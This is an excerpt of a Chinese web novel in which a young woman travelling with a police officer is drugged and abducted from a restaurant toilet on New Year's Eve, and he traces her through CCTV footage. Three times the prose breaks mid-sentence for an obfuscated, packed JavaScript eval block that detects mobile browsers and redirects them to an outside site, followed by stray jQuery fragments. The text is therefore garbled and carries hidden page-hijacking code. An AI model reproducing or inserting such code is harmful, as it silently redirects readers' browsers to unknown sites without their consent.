狮城是灯港最破落的古迹圣地,战火杀伐味过重,马路两旁除了树,到处散乱着古建筑废墟和战后空城,因为太碎太分散,都没有收门票的余地,免费给大家当做沿途风景一睹为快,真正有分量的前朝遗址会被圈起来保护,在上头修个博物馆发扬光大。 往她家的方向步行,很快来到一个网红打卡地,这地方神秘色彩浓厚,就是个融入狮城县古城多种元素乱建的影视基地,有点废弃掉的味道了,邓烟雨说走这可以横穿过去,省时间。 一出冷艳的落日烧在断壁残垣之上,来了几只红嘴乌鸦歇脚,小小的头扭来扭去,在熔金的石堆里觅食。 它们不怕人,也不亲近人。公冶的目光随着乌鸦跃起,落在一堵墙上。 这里的街道略脏,墙也邋遢,撕满了眼花缭乱的广告纸,他目光锁定在一张尚新的寻人启事上,纸面彩打着一个女生的大头照,旁边印着一堆黑红相间加粗的字:罗XX,女,现年18岁,2130年1月1日(元旦)晚上7点左右在病墟县夹子道走失,走失当天穿白色棉服外套,蓝色牛仔裤,如有知情者请速与家人联系!感谢!! 底下是联系方式以及酬谢的重金。 公冶浏览过去,神情逐渐凝重,整面墙贴的竟然全部是走失人口,他仅一眼粗略扫过,今年失踪的就不下十人。 其中七人在病墟县走失,且均为女性。 灯港最近这么乱? 他不安地皱眉,一转头,邓烟雨已不在身边,他心头猛跳:“小雨!” “啊——?”拖着行李箱走开老远的邓烟雨才发现他没跟上来,隔着两三个在拍照的游客,伸着脖子喊,“怎么啦——?” 公冶心下暗叹,快步追上去:“你别走那么快。” 邓烟雨:“怕啥,你有我家地址,迷路了找警察,五分钟送你上门。” 公冶:“……还真会活学活用。” 他们穿出日落乌啼的古迹区,来到城镇街上。这里正常多了,和歌华的城中村挺像,越往里越繁华,属于豪华版城中村,五颜六色的集装箱房子杂乱却有章地散布各处,电线宛如拉出的糖丝,把小巷狭窄的天空割裂。 他们爬上陡峭的石阶,拐进一条曲折的羊肠小道,走出百米重见光明,继续爬楼梯。爬到不知几重高时,邓烟雨气喘吁吁转过去问他:“你累吗?” 公冶面容平静,不带一丝喘,说:“箱子给我吧。” “我家的路线比较复杂,这是捷径,虽然累点,但胜在快。”邓烟雨撑着膝盖往上跨,公冶调侃说:“和重庆那边好像,你永远不知道自己在几楼。” “就狮城这个鬼样子,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579298|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他地方都很正常,啊——快到啦!” 回归平地,他们穿过马路,沿着老小区的外围走,进了大门。 邓烟雨似乎也不惦记飞机上的不愉快了,满脸带了女婿回家过年的高兴,乐陶陶地问:“你今晚住我家吗?” “怎么可能,”公冶望着小区里的大树,“我把你交到你父母手上,就去找宾馆住,或者去朋友家。” “你在灯港有朋友?” “嗯。” “怎么认识的呀?” “小时候认识的,他工作来了灯港。” 邓烟雨听极乐说过,他十七岁前待在瑶光省独玉市,生活得不好。虽然他主动提起童年往事,可终归是一块伤疤,再小心地去揭,也会痛。 她转移话题:“你留下来陪我们吃年夜饭吧,一起看春晚。” “我是想着,”公冶略作犹豫,“把你送到就走了。” “不要啊,”邓烟雨沮丧地拽他袖子,“我爸爸可会烧菜了,你留下来和我们一块吃吧,求你啦。” 公冶向来是拗不过她的,只好答应了。他们转进后面一栋旧居民楼,楼里没电梯,还得爬,公冶提着箱子跟她上了五楼。 邓烟雨站在门口,翻找包里的钥匙,公冶看着发旧的502门牌,心里莫名有点紧张。 “……” “嗯?” “咦?” “啊咧?” 眼见她越来越慌乱,最后把背包口子拉到最大,倒出里面所有东西,也未闻一个金属物件掉地的叮当声。 “我钥匙呢?”她抖抖包,瞅瞅地上,再面向公冶,“我没拿吗?” “出发前,我关照过你,”公冶意识到事态不妙,满目悲凉,把临走前那句话原封不改地复述,“机票,钥匙,手机,身份证,记得拿。” “我记得的,我——”邓烟雨想起什么,脸色登时大变,“我当时忘了耳机去房间里拿,然后钥匙放在玄关门口了!!” 公冶:“……” 邓烟雨:“……” 楼道窗外,有两只鸟扑翅落在枝杈上,埋头清洗羽毛。 “你父母在家吗?” “我敲敲。” 邓烟雨拍了拍大门,门的另一边寂然无声,她掏出手机打电话,嘟了好久金曦才接起,电话里传来嘈杂的人声,混着小朋友的尖叫:“宝贝!” “妈妈,”邓烟雨一听那头有孩子鬼哭狼嚎,心叫糟了,焦急地问,“你们在哪,我到家了进不去,钥匙没拿。” “什么?”吵嚷的背景音在拖鞋踩着瓷砖地的啪嗒声里变弱了,看来金曦换了个地方通话,“你今天回来?” “你不知道我今天回来?” “哎呀,你爸爸说你明天回啊!我也觉得安全起见晚一天没事,而且小冶会全程陪同,我就放心和你爸爸去了你舅家。” 暂且先不计较妈妈对公冶的称呼。舅舅家非常远,在灯港最北边,开车单程一趟将近三小时。他们家过年一般是邓家和金曦弟弟家一年一年来回轮着吃,今年正好轮到他们出发去北边吃饭。 “那怎么办,”邓烟雨知道平常去舅舅家吃年饭,父母都会带她过夜,第二天早上再返程,他们今晚十有八九不回狮城了,“我钥匙没带呢。” “你这孩子,我提醒你N遍了,钥匙手机身份证,这三样记得拿!你哪次把我的话记进脑子里?” 骂得和公冶一个模子里刻出来的,邓烟雨明知理亏还反咬一口:“谁叫你们不装智能锁,你看我们楼里还有哪一户没换门?” “和我叫板呀?这事说你爸去,是他不愿意装!” 画面形成了鲜明的对比,楼道口,邓烟雨焦头烂额和电话里气焰同样跋扈的母上大人对吼,台阶上,公冶安安静静像块碑,坐着刷手机。 他不是接受了事实,而是不想面对事实。 “有一个坏消息,和一个更坏的消息,”邓烟雨打完电话,坐到他身侧,小心翼翼抬眸观察他,“坏的是,我父母不在家,我进不去;更坏的是,我父母今晚在舅舅家吃年夜饭,不回来了。” 公冶放下手机,慢慢看向她。 “我今晚要风餐露宿了,和我的箱子一起睡大街。”她眸子一眨,睫毛一颤,颇有梨花带雨的势头要掀起。 “别装,”公冶说,“你妈妈让你去住酒店是吧?” 邓烟雨:“……”噫,这个男人不好糊弄了。 “是的,她给我转了money,”她挪了挪,用肩膀拱他,“你也别去你朋友家了,和我住酒店吧。” “我好好的大平层不住,去挤什么小酒店,”男人不肯上当,露出笑意,不情愿地躲开她,“我不要。” “公冶警官!”他变坏了,来了灯港没等水土不服,这性子就欠收拾了,邓烟雨还是头一遭拿他没办法,自顾自生了会儿气,垂下眼帘,摸着腕上绿光隐隐的检测仪,说,“我知道,是我的问题,对不起。” “你今天是第二次向我道歉了,第一次为了什么?” 邓烟雨不懂他意指何处:“没有为什么啊,我习惯道歉了。” “我也有做得不对的地方,在飞机上,”公冶不去看她,说,“只顾着和别人聊天,冷落你了,所以不开心是么?” 他突然旧事重提,邓烟雨忸怩地说:“我没那么小气。” “无关小气,是我不够细心,抱歉,”公冶揉揉她脑袋,“不会再这样了,还请师父给个机会,让徒儿补偿你。” 补偿?怎么补偿,以身相许的补偿吗哈哈哈? 公冶瞧她脸蛋红了:“你又在脑补什么十八禁呢。” “我哪哪哪、哪有!”邓烟雨舌头打结。 “走。” 她懵懵的:“去哪?” “酒店啊,”公冶掸了掸裤子,拿上行李箱,往下迈了两步,回头,“放了行李,然后接下来,你要干什么,我都依你。” 邓烟雨浑身烧起来:“干什么,都行……?” 夕阳浸出一道颀长的身姿,他目光里揉着慵懒,抬起骨节修长的手指,朝她脑门轻轻一弹:“我指的是吃,玩,逛,不是你想的——” “我没想!你……不要再捉弄我了!” 听他笑了一声,邓烟雨更加害臊,不明白自己到底拨了他哪个开关,红着小脸随他下楼找酒店。 46. 娇颜 “不来了?就不来了?你在和我开玩笑吗?” 酒店大堂内,邓烟雨在前台办理入住手续,公冶往旁边走开几步,回复电话那头的灵魂三连问:“事发突然,算我欠你个人情。” “你是专程来气死我的?你前几天怎么卑躬屈膝求我的,说就住一晚,我大过年的为了你!女朋友都放了鸽子,结果你说不来就不来——” 男人抓狂的抱怨直冲耳膜。公冶心想自己也没有卑躬屈膝吧,腾不出地儿就算了,谁知这愣球委屈得要撒雪花唱窦娥冤。 “感谢我吧,”公冶把手机举远了些,“你现在可以把女朋友叫回来过二人世界了。” “你以为女人有那么好哄?!” 公冶左耳进右耳出地听着他骂,移眸打量酒店陈设。这家三星级的环境还算清雅,性价比也不错,两间房一晚不贵。 邓烟雨拿上房卡朝他摇了摇,他便冷酷无情掐了电话,直到来到房门口他才纳闷地问:“我房卡呢?” “前台说就一间双人房了,”邓烟雨刷卡开门,回头朝他笑,“放心吧我晚上不打呼噜的。” “……” 公冶眯起眼,严肃地盯视她,盯得她笑不出来了。 “我小时候看过一部和酒店有关的鬼片,不敢一个人在酒店睡觉,而且我们分房间睡你怎么保护我呀,”邓烟雨拉拉他,“最后一天了,坚持一下。” 说得好像是他不配合。 他的女孩和别人家的不一样,特别好哄,也特别狡诈。 公冶走进房间,低缓道:“不要把我想得太温良。” 他的嗓音具有蛊惑的魔力,轻轻沉沉穿透而来,裹住一颗柔软的心脏。 邓烟雨害羞低头:“没关系,我带了镇血剂,”说着哗啦啦倒出一袋子的银色小针管,公冶惆怅地叹气:“记得这个都不记得钥匙。” 邓烟雨:“……” 邓烟雨:“想吃我一拳就直说。” 在房间放下行李,邓烟雨提议去北大街吃晚饭。他们下了飞机,又是坐车又是爬坡蹬台阶,已经折腾到晚上七点,两个人都饥肠辘辘,北大街是今年夏天新造的一条商业古街,邓烟雨在朋友圈刷到初中同学的九宫格晒照,这次回来就是奔着它去的。 满墙的寻人启事在公冶脑海中一闪而过。他问:“远么?” “走一走十五分钟,”邓烟雨确认了路线,带上一支豆沙色唇釉,公美娃娃解下来,系在自己的腰带上,“我们去吃鸡公煲?” 他搜索了北大街的地址,搭不着病墟县的边,便放心了,走前还特意戴了隐形眼镜。灯港土生土长的美食家已经被“收割”得所剩无几,公冶了解到此地唯一的GS樽丹分所只配备了两名公美,目前居住在灯港的美食家少之又少,遮一下眼睛,方便自己也安心他人。 出了酒店,天边璧日西坠,最后一丝金光熄灭下去。 灯港的夜晚来临了。 北大街十分好找,是座临河的古镇,却混搭着夜店风的色彩,一块块霓虹灯招牌张牙舞爪地招揽食客,有种超乎寻常的邪门情调。这里不止美食多,以前人家三进三出的深宅大院也荒废于此以供参观,藤球灯像一颗颗小月亮挂满树,树枝下系着铜风铃,奏出一片凌乱歌谣。 他们一路走来,沿街开的多是些古早零食店、冰淇淋店和游戏厅,要吃大餐得去第二街区。 除夕夜满城华灯,小朋友带狗在旱地喷泉那踩水玩,帮忙抓着气球的家长怕孩子弄湿受凉,板了副脸狠狠教训。大家仿佛都无心回家看春晚,准备在这泡一晚上,民警整装上勤,于街头巷尾各个路口巡逻防控。 “过过过!” 这条大路没红绿灯,他们拦了车子,让堵着的一大帮游客先走,还没到十字路口,邓烟雨就听见交警尖锐的吹哨声。 突然,她的手被公冶握住。 邓烟雨先是一愣,随即不敢相信地抬头,说:“你牵我干嘛?” “我怕你丢了。”公冶说罢,握得更紧了。 十字路口人流量大,过趟马路都有可能被摸走钱包,她那么一点个子,稍一疏忽就挤丢了。 掌心好暖。邓烟雨借着汹涌推来的人潮,朝他贴近,回握他,说:“灯港是旅游城市,往年春节人也多,今年特别热闹。” “我前面看介绍,发现狮城最火的景点是卡萨古城。” 卡萨古城恢宏壮丽,建筑异域风不说,还可通过西侧的古堡走进绚丽的卡萨乐园,夜晚每隔一小时会亮起顶级视觉盛宴的灯光秀。邓烟雨说:“是啊,去那里玩的人最多了。” 但今年不清楚,卡萨游乐区几乎脚踏两条船地横插在两县交界线上,前脚买票进去玩,后脚一出就入了病墟腹地,当之无愧的“两岸交流大桥”。 而且夹子道就在附近。 “一会儿去玩吗?”邓烟雨问。 “那里少去啊!”他们的交谈声被边上疏导的特警听到了,特警说,“失踪案就发生在那,就算去玩也别靠近西侧的游乐设施!” 邓烟雨前面在电话里听金曦说过,最近病墟发生了数起女性失踪案。可那地方人迹罕至,荒烟蔓草的公路被野生动物霸占,锈迹斑斑的铁轨上只有几列运货的火车在无人般地开着,连素来胆大的骑行者也不兴走这条路线。 都不怎么住人了,那些女孩为何会在病墟失踪? “我们不去,谢谢提醒。” 绿灯亮起,他们随人群走上斑马线,邓烟雨有些微失落:“我还想带你看灯光秀呢。” “下次看。” 这和多年未聚的老朋友握着手说“下次一定请你吃饭”有何区别。 鸡公煲开在第二街区的尽头,要排队。他们取了号,前面还候着十四桌,于是决定去逛会儿。 闲逛期间,邓烟雨感受到三三两两的灼热视线不停往他们这投射。 都在看公冶。 他遮住了绿眼,给人一种亲近感。那张百分百以色事人的好皮相,修长挺拔的身形,拍大片的高级感衣品,往人堆里一杵太亮眼了。邓烟雨即使在人少的地方也非要和他手牵手。 “看这个,”公冶心觉好玩地指着摊子上的泥人,和邓烟雨说,“捏得好像你。” “哈哈哈帅哥!你真是!”大妈笑得前仰后合,声音颤得不行,“这是猪八戒呢,我家孩子随手捏了乱插的,你要买啊?” 邓烟雨:“……” 她冷若冰霜的视线就这么“盯~~~”着他,逼得他收回了手。 “你今天穿了粉色,和它肤色挺像。”公冶讪讪地解释,纯粹是在找死,邓烟雨想甩开手,被他握紧。 “干嘛?”邓烟雨抽了抽手,“又怕我被挤掉?” “这次不是,就是想牵着你。” 周围明明闹得很。邓烟雨迎着破碎流动的光芒,仰头,静寂无声注视他。 “明天送你回家前,我要和你说一件事,”身后熙熙攘攘的灯火渲染着他漆黑的发色,和他利落英俊的眉眼,“怕你又岔开话题,所以这次预先告知。” 邓烟雨心动:“我知道了……到第几桌了?”一看时间,八点了,“我饿得逛不动了。” “还有三桌,回去吧。” 他们逛回店里,没多久就收拾出一桌空位。这家店做辣一绝,邓烟雨虽然能吃辣,不过太辣的接受不了,现在身边又多了个一星辣子也不能沾的男人,她菜单也不翻,就问引他们入座的服务员:“不辣的鸡公煲有吗?” “有,”服务员拿出菜单给她看,指着打星的菜名,笑道,“这个不辣的娇颜鸡公煲,点的人非常多,都说好吃。” “吃‘娇颜’吧,”邓烟雨和对座的他说,“打了星星,应该好吃的。” 公冶托着腮点了点头,心里泛起疑惑的嘀咕:椒盐鸡公煲?这东西还能往咸里做? 他们还点了些健康的绿色配菜,邓烟雨要了火腿,随后去调料区拌了一碟辣汁回来,公冶只求清淡,什么调味料也不要。 “你要是在控糖方面也能这么自律就好了。”邓烟雨脱下大衣,挂在旁边的椅背上,笑着促狭他。 她可没忘路过冰淇淋店时,他情深意切望去的眼神。 “还吃,不是说你吃冰淇淋就和狗吃巧克力一样危险吗?” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579299|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说过吗?” 不久前,两人僵持在冰淇淋店前,邓烟雨听了这话,叉起腰:“哦,陛下要赖账啊?那臣妾还有宠你的必要吗?” 说完掉头就走,公冶见她发小脾气了,追在后面哄,一口一个“爱妃”。 “开玩笑的,不吃,我还在执行任务。” 邓烟雨哭笑不得:“你还知道你在执行任务呢!” “还有四小时零四十分钟,十二点一过我就解放了,快点下班!” 他精神头不错,真当自己免费来灯港一日游了,开心得像个孩子,邓烟雨超级想抱住他的脑袋吧唧一口。 不得不说,他是真爱旅游。 也真是可爱而不自知啊。 鲜嫩的鸡肉下肚,邓烟雨一激灵,咳嗽了几声,看向飘浮着白芝麻的红幽幽调料汁,说:“小米辣放多了。” “重新调一碟吧,”他说,“还好这鸡公煲不咸,不然你该口渴了。” “不咸?”邓烟雨扇着舌头,“它是清淡口味的,当然不咸啊。” “可它叫‘椒盐’啊。” “这和‘娇颜’有什么关系?”邓烟雨说,“但光听名字我就知道,这只鸡生前应当是一只很美的鸡。” 煲里的美鸡在咕噜噜轻响,公冶就着冉冉升起的白烟,麻木开口:“我是哪里又理解错了……是哪个‘jiaoyan’?” 邓烟雨似猜出几分,尽力控制上扬的嘴角:“你以为是什么?” 两个人核对了各自的“jiaoyan”,邓烟雨直接趴在桌子上爆笑。 “我又没看菜单,一听名字心以为是椒盐,”公冶尴尬地放下筷子喝水,明亮的白炽灯下,他的脸浮起淡淡红晕,“谐音梗要扣钱的!” “哈哈哈哈哈哈哈——” 吃了七分饱,邓烟雨说要去卫生间,抽了两张纸:“我手机放这啦,你帮我看着。” “好,你去吧。” 这家店的卫生间在二楼,分了男女。邓烟雨进去时,洗手台有个女生在对着镜子补妆。 一共两个隔间,靠里面的锁着门,有人在用了,她就推开另一间,也在这时听到那个补妆的女生拨开水龙头,关掉,再拨开,关掉。 她干嘛呢?检查水龙头好不好使? 邓烟雨锁上门,下一刻,嘭的一阵关门声响起,洗手台那不再有动静。 看来是那个女生走了。 习惯还挺好,会随手关门。 邓烟雨上完厕所起身,头顶传来若有若无的一声“呲……”,她往上看,除了明晃晃的灯光刺晕了眼,什么也没有。 她穿好裤子,用脚踩响了水,推门出去。 补妆的女生果然离开了,门外隔着模糊的喧嚣,依稀能听见有人端着碗盘匆匆走过,邓烟雨站在洗手台前洗手,看向镜子里的自己。 是两个自己。 不对,自己怎会变成两个—— 刚冒出这个念头,视野紧接着一暗,邓烟雨撑住台面,大脑嗡嗡发胀,铺天盖地的药效压得她眼皮睁不开。 好困,想睡觉,想睡…… 她的双臂剧烈发软,未知的恐惧感揪住了最后一丝意识,邓烟雨奋力扭转自己身体,却因体力不支倒向墙壁,滑落,坐在脚印脏乱的地上。 她想快点爬起来,试了几次都办不到,只能摸着滑滑的瓷砖墙壁,而始终紧闭的另一个隔间,解锁了。 门吱嘎打开,从里面走出一个女人。 女人将背包放在洗手台上,径直越过她,过去锁上门,侧耳略听了听,再折返回来,手伸到邓烟雨胳膊下,架起她往中间拖。 “放……” “开……” 邓烟雨使出仅剩的全部力气挣扎,可极度虚弱困倦的状态下,她的反抗像羽毛搔过,毫无作用。 公冶警官。 她心中拼命喊叫,嘴唇纹丝不动,歪头睡去之际,只恨自己没有带上手机,连一个再简短的求救信号都发送不了。 女人应该是嫌洗手台下脏,偏要把她拖到容易施展的空地上,让她靠墙,自己回头取出包里的东西,再一次走向了她。 47. 失踪 公冶看了眼手机。 二十分钟过去了,邓烟雨还没回来。 对面一桌比他们来得晚,已经吃好准备结账走人。他靠着椅背,低头浏览一篇股市文章,又消磨了十分钟。 手机轻声熄屏,他默默侧过头,环顾四周。 再怎么说半个小时也太久了。 “干什么,放手!” “我偷你啥了,是你他妈先撞的我!死穷鬼!” “神经病啊你!撒手!撒手啊啊啊白痴!!” 店外一处空地上,两个中年男子发生了冲突,大骂着扭打在一起,顿时引来不少人围观,被诬陷偷窃的男子把另外一人的鼻血都揍出来了,坐窗边的几桌吃鸡的同时还能即兴观赏一出动作片。 公冶没兴趣,正要起身去找人,旁边玻璃咚一声巨响,俩人你一拳我一脚打到了店面这。占据上风的是个卷毛大叔,黑黝黝的脸上淌着血,面目狰狞地抓着偷他东西的男子的头皮,往玻璃墙上一下一下狠命砸。 “哎哟这是干嘛啊,别在我店门口闹啊!” 老板娘冲出去,糟心地挥手说“别打喽别打喽”,外面看热闹的群众也发觉事闹大了,再打下去要出人命,提醒着:“叫警察来啊,警察在前面。” 老板要顾着收银,没空搭理外头的风波。公冶瞧瞧楼梯,再望望店门外一时半会解决不了的烂摊子,端菜的店员在面前忙碌穿梭,大家都很忙。 有个脸嫩的小妹妹给前头一桌拿去一碗米饭,从他身旁快步走过,公冶立即拦住她:“你好,能帮我去二楼女厕找个人吗?” “啊?”小妹妹眨眨眼,茫无头绪地重复,“找人?” “是我朋友,”公冶简单比划着,“头发很长,卷卷的,及腰,身高到我胸膛这,穿白色毛衣。” “噢……好的我知道啦,您稍等,”小妹妹噔噔噔踩着台阶上去了,公冶心神不定地坐回原位,没过一分钟就见她跑下来说,“厕所没有人。” 公冶音调都变了:“没有人?” 她点点头:“我进去看了,里面全空着,没有人在上厕所呀,你朋友是不是去外面看打架了?” 公冶和她道了谢,望着茶杯思考须臾,拿上邓烟雨的手机大衣,亲自动身前往二楼,除了女厕所哪里都找了一遍,的确不见她踪影。 周遭气氛热络,推杯换盏声四起,看着一桌桌笑脸,他有点慌了,快速返回一楼,连同包厢那也找了找,随后往店外去,被刚进店里气还没喘口气的老板娘眼疾手快逮住:“哎帅哥你买单了吗?” 公冶掏出手机付了钱,来到外面。人群尚未散,这扎一堆,那聚一拢,一张张陌生的脸让他逐渐焦躁起来,他心急地喊出声:“小雨!” 前前后后,左左右右,并没有熟悉的人影。 民警在处理现场,被诬陷的男子瘦得跟细鸡似的,哪想还打赢了,只是从头到脚挂着彩。他裹紧扯破飞毛的外套,缩在花坛上委屈地呜呜:“大晚上的……我闺女非说要吃糖葫芦……我出来给她买,碰上这么个疯子……” 卷毛大叔瞪着血丝浑浊的眼珠,抹了把鼻血,大声嚷嚷:“你个混球!你偷我金戒指,你偷了去吧!老子不稀罕那破玩意!老子是百万富翁!” 所有人觉得这大叔脑子有病,有人摇摇头便走了。而大叔趁他们笑话,猛然推开走上前来的民警,挂着一脸血撒腿狂奔,女生被迎面跑来的他吓得大叫。 “喂!”民警吼道,“站住!要去哪!” “快追人!” “老子放过你了!哈哈哈哈!”卷毛大叔龇牙咧嘴放声大笑,没跑出几步撞上了公冶,差点摔倒,他破口大骂,“兔崽子不长眼啊?!” 公冶出于本能要抓住这人,却因为在想事,出手慢了半秒,卷毛大叔灵活地钻了个空,给他溜了。 两名警察气急败坏追上来,其中一个相貌年轻的劈头盖脸一顿指责:“你怎么不拦住他!” 他们今晚已经见识过太多奇葩——拉狗跳舞的,脱光睡马路的,醉驾飙车轰飞了一个车轱辘的。年轻民警打量这男的明明有很大机会抓住那个神经病,结果就傻乎乎跟个桩子似的站那目送人家逃跑,实在没好气埋怨了一句,下一秒就意识到自己失言。 “你对他吼什么。”老民警持出对讲机汇报完,小声训诫了后辈。 公冶本就心烦意乱,被这样不讲道理地一吼,心情更差了。 他的目光在年轻民警身上停留一瞬,迈步走开。 年轻民警感觉他周身散发着低气温,有点发怯地和前辈对视。 “喂。” 两个民警听到他喊他们,就回头。 “有看到一个白毛衣长卷发的女生吗?” 老民警:“这大街上穿白毛衣的多了去了,你找人?有照片吗?” 哪想老民警问完,年轻民警就当着公冶的面拿出手机刷了起来,显然懒得管他的事。 公冶冷冷瞧他一会儿,对老民警说“没事了”,转身走了。 年轻民警白了他一眼,不服气地低声嘟哝,老民警叹气:“你干什么呢?改改你的臭脾气吧!” 公冶握紧了邓烟雨的手机。她没穿外套,灯港昼夜温差大,若在室外冻坏了怎么办。其实他并不觉得邓烟雨会对两个大叔打架感兴趣。 “小雨!”他无望地寻了三四圈,毫无所获,回到店里,他们的桌子被收拾干净了,已经坐了三个小姑娘。 她没有回来,一直没有回来。 她不见了。 无穷无尽的不安侵袭了他全身。 “不好意思,”公冶大步迈向收银台,对里头的夫妻老板焦急地说,“您家洗手间就二楼一间吗?” “对啊就楼上。”老板娘招呼着结账的客人领优惠券,头也不偏地丢话。 “我朋友上厕所半小时了还没回来,您可以……” “这我哪知道啊,”钱进兜了就翻脸不认人,老板娘今晚脑袋快炸了,冲谁也不给好脸色,不耐烦地打断了他,“您自己找找吧,啊。” “她是女孩子,麻烦您再去洗手间看看好吗?” “女孩啊?”最近女孩走失很多,戴眼镜的男老板热心肠,戳了戳老婆子的胳膊肘,“你就帮人家上去看看嘛,厕所多大点地方,这里有我呢。” “哎哟……”老板娘碎碎骂着从里面挤出来,上楼故意用力蹬台阶,公冶跟在后面,再次把二楼找了一遍,回头见老板娘从厕所出来,顶了满脸晦气,“里面就一个和我一样年纪的大妈解完手在涂口红,帅哥,你女朋友不会和你玩闹呢吧?你要么回家看看,好伐?抓紧时间给她打个电话,买束花道个歉,别打扰我们做生意了!” 公冶无法理解她凉薄的态度:“一个大活人在你店里失踪了,你……” “……” 失踪? 病墟夹子道那些女孩的大头照一幕幕蹦进脑海,公冶心跳漏了一拍。 他往后退一步,几乎要靠在墙上,转头望向二楼窗外的夜景,万家灯火辉煌地止于山脚,翻过连绵的山峦便是病墟县。他看不见山对面是何景象,但能感觉出来,那片狭窄的土地不点一盏灯,寂如坟墓。 不可能,不会。 这里离病墟十万八千里,他们何苦要在人口如此密集的闹市下手? 她今天也穿了白色衣服,和这有关系? 为什么偏偏在这。 为什么偏偏是她。 对啊,失踪女孩并非全在病墟县,还有其他地方…… 还有什么地方! 公冶皱眉,他记不起全部地址,只确定涉猎的信息里面没有狮城。 无论如何他也不希望这是真相。他抓住下楼的老板娘:“我需要看监控。” 老板娘气笑了:“不是,你谁啊,监控说给你看就给……” 他出示警证,漆黑证件上,高温烫印的警徽流动着严明紫气,在廉价灯泡下折射出冰冷的执法光华,映射在大妈惊愕的瞳孔里。 “请配合,”隐形眼镜快压不住眼底的狂躁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579300|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他沉声说,“拜托了。” 监控在前台,电脑屏幕上切割着九张高清画面。 他们倒回8点28分,穿纯白毛衣的邓烟雨在监控的注视下离开座位,踏上二楼走进女厕所,然后倍速推进。 当中进出女厕的没多少人,因为有个鸭舌帽女生举止诡异,在邓烟雨进去不久后便出来关了门,往门上挂了个“清扫中”的牌子,然后静静倚门等待,正好有人来上厕所,她指了指牌子,对那人说了什么,那人就转身走了。 “不是,这谁啊,”放大也看不清她的脸,帽子挡得很严实,老板娘瞅得心里有鬼,和公冶对天发誓,“她我不认识啊,我们一晚上比总统还忙,真的没有拐你女朋友,警察同志,你要相信我们。” 公冶不动声色盯着屏幕,没过几分钟,监控里的女生略微偏头,似乎听见门内有动静,接着她把牌子摘下,若无其事离开了。 之后过了约五分钟,才有人来上厕所,第一个开门的人并未直接进去,明显朝着里面看了看。至9点03分,拍到店员小妹走上二楼,之后是公冶。 这35分钟里,进出女厕的要么穿着花枝招展,要么成双成对,其中一对还喝醉了酒,走得东倒西歪,根本没见什么白毛衣女生。 邓烟雨全程都没有出来。 “我的妈呀!”人就凭空消失了,老板娘吓得虎背发寒,躲在自己男人身后害怕地讲,“这是闹鬼了啊,那丫头去哪里了?” “怎么可能,”老板也觉得邪门,抬了抬眼镜,“放慢点再看一遍吧。” 公冶始终沉默着,在老板拖动进度条之际,说:“42分,‘鸭舌帽’走了之后第一个进厕所的女生,还在店里吗?” 老板:“额……” 公冶:“扎马尾,灰色卫衣裙,棕色雪地靴。” “我记得,”老板娘记性好,说道,“她们一大家子来吃,二楼大圆桌子靠窗那桌,我带上去的。” “人还在就喊她下来。” 老板娘急吼吼去叫了,公冶则让男老板把时间拉回8点49分。 8点49分,是那两个喝醉的女生互扶着出来,她们身穿略显宽大的黑色冲锋衣,其中左边戴连衣帽的女生醉得不轻,要姐妹提溜着走。她们蛇皮走位擦着墙往楼下去,转进包厢走廊画面,公冶目光一凛:“停。” 老板按了暂停。 “同志,我带下来了!” 把这张画面单独点出来的同时,老板娘也带着卫衣裙女孩下来了,公冶看向她,单刀直入:“8点42分,你去上厕所时有遇到奇怪的事情么?” “8点……”女孩想了想,瞪大眼睛,“噢!那个,当时门关着,我开门进去嘛,看见一个女生在洗手池那里吐,另一个帮忙顺她背,然后我上厕所的时候听到她们放水,喝醉的那个女生吐得可厉害了。” 公冶眉端轻皱:“你一进去就听见她在吐?声很大?” “那倒不是,”女孩摇头,说,“她就埋在洗脸池里,没声音呢,我是上厕所时才听到外面传来水声和呕吐声,出来后,她朋友就抱着她,让我先洗手。” “好的,”公冶目光转向屏幕,“谢谢,没事了。” “啊,这就没事了?”老板娘很配合地让女孩回去了,扭头问,“那你找到你女朋友了吗?” 公冶一声不吭,等着老板把图像放大,在清晰的分辨率里,他看见戴帽子的醉酒女孩因为歪斜过度,腰部漏出一个物件。 是公美娃娃。 她对这只抽奖赢来的娃娃爱不释手,无论去哪里都会戴着,这次也是,他亲眼看着她从背包上解下来,系在了腰带上。 监控里的她被冲锋衣藏得极为隐蔽,仿佛就是喝醉酒昏睡过去。 她倒着头,垂着手,被人架下一楼时,距离公冶不过十来米,可他没有回头,没有感受到一点危机。 于是她被带走了,彻底离自己远去。 公冶望着邓烟雨最后几乎是被拖出了监控画面,整个人呼吸快要停止。 48. 尼格罗尼 “同志,她是你要找的人吗?” 老板一边问一边抬头,看清男人的表情后他当即握紧鼠标,不再说话。 